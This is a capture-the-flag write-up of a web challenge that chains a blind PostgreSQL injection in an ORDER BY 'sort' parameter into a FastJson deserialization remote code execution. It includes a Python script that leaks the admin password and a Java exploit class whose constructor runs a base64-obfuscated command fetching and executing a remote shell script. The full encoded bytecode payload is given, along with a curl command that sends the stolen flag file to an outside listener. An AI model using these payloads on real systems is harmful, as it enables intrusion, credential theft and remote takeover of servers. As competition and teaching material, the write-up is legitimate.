Table of Contents
I had to write this writeup because it was one of the interesting challenges I've seen this year.
There's SQLi in parameter sort
from /search
. But this sort is after order by
clause.
Then, I found that the server is running on postgresql by using current_database()
function:
$.post("/search", {"search":"Nicle","sort":"current_database() desc,id"}, function(d){console.log(d)});
You can also know with (case when ('1 a'=1) then 1 else 1 end) because postgresql does type checks by default.
Sadly, we can't use union
sql injection in PostgreSQL because union
can't be triggered after order by
clause. There is a possibility to trigger union
but then the query should be like (select blah from some_table order by blah)union(select 'asdf'::text)
Then while testing for some cool functions in PostgreSQL, I found out that pg_ls_dir()
is working, so we can now assume that the service is running with superuser privileges.
The most interesting part of this function is that when pg_ls_dir()
is used with order by
, the count of result is multiplied by number of files in the directory.
Now, what we need to do is to leak bytes by directory existance using pg_ls_dir()
and get the password of admin.
# cat > exploit_stage1.py
import requests
dic = list("abcdefghijklmnopqrstuvwxyz0123456789_!;~.")
ans = ''
for pos in range(1,50):
for c in dic:
c = ord(c)
data = {'search':'admin','sort':"pg_ls_dir(concat('/proc',substring('a',1,ascii(substring(password,%d,1))-%d))),id" % (pos,c)}
resp = requests.post("http://47.95.235.14:9999/search",data=data).text
if len(resp)>10000:
ans += chr(c)
print(ans)
break
After running the exploit, we can successfully retrieve the admin credentials.
username: admin
password: 15676543456
With the leaked credentials we can now visit to admin page.
http://47.95.235.14:9999/admin?nickname=admin&password=15676543456
.
Interestingly, admin page loads /RestfulAPI
three times to show information about the server.
It seems that the RestfulAPI
is using Alibaba's FastJson module.
After searching for a while on the internet, It seems that the FastJson is vulnerable to RCE attacks.
Hence we write an exploit to trigger RCE.
# java -version
java version "1.8.0_191"
Java(TM) SE Runtime Environment (build 1.8.0_191-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.191-b12, mixed mode)
# cat > Exploit.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exploit extends AbstractTranslet {
public Exploit() throws IOException {
// curl -s https://harold.kim/shell.sh|sh
Runtime.getRuntime().exec("bash -c {echo,Y3VybCBodHRwczovL2hhcm9sZC5raW0vc2hlbGwuc2h8c2g=}|{base64,-d}|{bash,-i}");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Exploit t = new Exploit();
}
}
^C
# javac Exploit.java
# cat > encode.py
import base64
fin = open(r"Exploit.class", "rb")
fout = open(r"Exploit.b64", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()
^C
# python encode.py
# cat Exploit.b64
yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAIAAkHACEMACIAIwEAVWJhc2ggLWMge2VjaG8sWTNWeWJDQm9kSFJ3Y3pvdkwyaGhjbTlzWkM1cmFXMHZjMmhsYkd3dWMyaDhjMmc9fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0MACQAJQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACAAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg==#
After compiling the Java code to Java class bytecodes, We use one of public payloads to trigger RCE.
There is another payload using JdbcRowSetImpl RCE, but it didn't work on this challenge properly.
$.ajax({
type: 'POST',
datatype: 'json',
url: '/RestfulAPI',
data: JSON.stringify({
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAIAAkHACEMACIAIwEAVWJhc2ggLWMge2VjaG8sWTNWeWJDQm9kSFJ3Y3pvdkwyaGhjbTlzWkM1cmFXMHZjMmhsYkd3dWMyaDhjMmc9fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0MACQAJQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACAAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg=="],
"_name":"a.b","_tfactory":{ },
"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"
}),
contentType: "application/json",
success: function (data) {
var json = JSON.parse(data);
console.log(json);
}
});
/* Executes curl -s https://harold.kim/shell.sh | sh */
cat /flag > /tmp/a
curl -d "$(cat /tmp/a|base64)" -s http://150.95.144.239:8081/stypr
root@150-95-144-239:~/stypr# nc -vlp 8081
Listening on [0.0.0.0] (family 0, port 8081)
Connection from 47.95.235.14 47330 received!
POST /stypr HTTP/1.1
Host: 150.95.144.239:8081
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
YmN0ZnthcjNfeTB1X2FfSjRWNF9IYWNLM1I/fQo=
Flag: bctf{ar3_y0u_a_J4V4_HacK3R?}